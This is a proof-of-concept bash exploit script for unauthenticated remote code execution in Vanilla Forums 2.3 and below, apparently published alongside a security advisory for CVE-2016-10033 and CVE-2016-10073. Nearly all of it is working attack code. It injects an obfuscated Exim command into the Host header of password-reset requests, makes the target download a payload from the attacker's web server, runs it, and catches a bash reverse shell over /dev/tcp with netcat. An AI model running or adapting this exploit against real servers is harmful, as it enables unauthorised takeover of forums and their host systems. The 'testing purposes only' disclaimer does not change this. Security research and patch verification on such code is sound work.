Vanilla Forums versions 2.3 and below remote code execution exploit.
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# Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day
# Core version (no plugins, default config.)
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# CVE-2016-10033 (RCE)
# CVE-2016-10073 (Header Injection)
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# vanilla-forums-rce-exploit.sh (ver. 1.0)
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# Discovered and coded by
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# Dawid Golunski
# https://legalhackers.com
# https://twitter.com/dawid_golunski
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# ExploitBox project:
# https://ExploitBox.io
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# Exploit code:
# https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh
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# Full advisory URL:
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html
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# Related advisories:
# https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
# https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html
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# White-paper 'Pwning PHP mail() function For Fun And RCE'
# https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
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# Usage:
# ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip
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# Tested on:
# Vanilla Core 2.3
# https://open.vanillaforums.com/addon/vanilla-core-2.3
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# Disclaimer:
# For testing purposes only
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function prep_host_header() {
cmd="$1"
rce_cmd="\${run{$cmd}}";
# replace / with ${substr{0}{1}{$spool_directory}}
#sed 's^/^${substr{0}{1}{$spool_directory}}^g'
rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
# replace ' ' (space) with
#sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
#return "target(any -froot@localhost -be $rce_cmd null)"
host_header="target(any -froot@localhost -be $rce_cmd null)"
return 0
}
echo "$intro" | base64 -d
if [ "$#" -ne 2 ]; then
echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n"
exit 1
fi
target="$1"
rev_host="$2"
echo -e ' \e[44m| ExploitBox.io |\e[0m'
echo -e "
\e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m"
#sleep 1s
echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \e[94m|\e[0m
\e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m
\e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m
"
echo -ne "\e[91m[*]\033[0m"
read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
echo
if [ "$choice" == "y" ]; then
echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
#sleep 2s
#sleep 2s
# Host payload on :80
RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
echo "$RCE_exec_cmd" > rce.txt
python -mSimpleHTTPServer 80 2>/dev/null >&2 &
hpid=$!
# POST data string
data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON'
# Save payload on the target in /tmp/rce
cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
prep_host_header "$cmd"
curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK"
if [ $? -ne 0 ]; then
echo "[!] Failed conecting to the target URL. Exiting"
exit 2
fi
echo -e "\e[92m[+]\033[0m Connected to the target"
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
sleep 2s
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/usr/bin/nohup /bin/bash /tmp/rce"
prep_host_header "$cmd"
#echo -e "Host Payload2: \nHost: $host_header"
curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 &
echo -e "\n\e[92m[+]\033[0m Payload executed!"
echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
nc -vv -l 1337
#killall python
echo
else
echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
exit 0
fi
#kill -9 $hpid
echo "Exiting..."
exit 0